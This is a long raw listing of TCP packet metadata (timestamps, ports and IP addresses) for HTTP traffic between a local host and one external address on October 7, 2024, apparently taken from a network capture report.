Oct 7, 2024 18:03:15.499064922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499075890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499092102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499248981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499259949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499270916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499281883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499290943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499305964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499330997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499428034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499439001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499476910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499490023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499520063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499531031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499569893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499629974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499640942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499650955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.499682903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.499695063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.648586988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648638964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648652077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648708105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.648708105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.648734093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648746967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648758888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648766994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.648772001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648791075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.648813963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.648966074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.648998976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649039030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649053097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649063110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649072886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649076939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649087906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649117947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649358034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649461985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649503946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649516106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649525881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649537086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649545908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649549007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649559975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649569988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649571896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649581909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649589062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649593115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649604082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649605036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649616957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.649631023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.649653912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.650302887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.650341034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.650562048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.650573015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.650604963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.650671959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.650682926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.650693893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.650707006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.650713921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.650729895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.650751114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.651010036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651020050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651030064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651041031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651051044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651051998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.651077986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.651372910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651396990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651408911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651420116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651428938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.651431084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651443958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651444912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.651457071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651460886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.651468992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651480913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.651489019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.651513100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.652040958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652055025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652065039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652076006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652085066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.652086020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652097940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.652097940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652111053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652121067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652123928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.652133942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652151108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.652163982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.652395964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.652868032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.947499990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.952487946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:16.754585028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:16.755412102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:16.843436956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:16.848387957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:17.645160913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:17.645241022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:18.538065910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:18.543132067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:19.237441063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:19.237493038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:19.741156101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:19.971740007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:19.977080107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:19.978246927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185261965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185405016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185437918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185472012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185525894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185535908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185556889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185585022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185594082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185621023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185659885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185699940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185725927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185765982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185823917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185858965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185863972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185894966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185895920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185935020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.185965061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.185997963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.186003923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.186036110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.270870924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.270971060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.271009922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.271380901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.309921026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.309973955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.309988022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310061932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310071945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310108900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310165882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310179949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310193062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310199022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310201883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310302019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310456038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310528040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310545921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310559988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310590029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310611963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310708046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310720921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310731888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310744047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.310764074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310787916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.310934067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311065912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311078072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311089039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311100006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311113119 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.311115980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311126947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311127901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.311139107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311153889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.311177015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.311449051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311461926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.311496973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.311521053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.354662895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.354885101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.355000973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.434703112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.434724092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.434736013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.434758902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.434763908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.434770107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.434783936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.434786081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.434798002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.434829950 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435012102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435024023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435036898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435048103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435067892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435085058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435226917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435264111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435314894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435327053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435338974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435349941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435360909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435360909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435374022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435393095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435394049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435415983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435439110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435659885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435672045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435686111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435713053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435740948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435846090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435857058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435868979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.435884953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.435909986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436081886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436094046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436105967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436117887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436129093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436134100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436141968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436155081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436160088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436187029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436634064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436646938 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436664104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436676025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436686993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436687946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436700106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436712980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436726093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436738968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436749935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436753035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436753035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436760902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436764002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.436785936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.436799049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.437350035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437361002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437372923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437383890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437388897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.437397957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437407970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.437410116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437422991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437434912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.437443972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.437463999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.559712887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.559741974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.559753895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.559859991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.559871912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.559876919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.559885979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.559900045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.559923887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.559957027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560072899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560111046 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560144901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560156107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560168028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560180902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560184956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560195923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560209036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560233116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560497999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560511112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560523033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560534000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560540915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560547113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560555935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560559988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560569048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560587883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560604095 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560893059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560905933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560916901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560928106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560940027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560940027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560950041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560964108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.560966015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560980082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.560996056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561325073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561336040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561347008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561358929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561368942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561369896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561383009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561384916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561403990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561728001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561769009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561780930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561791897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561804056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561810970 CEST	49711	80	192.168.2.12	185.215.113.37
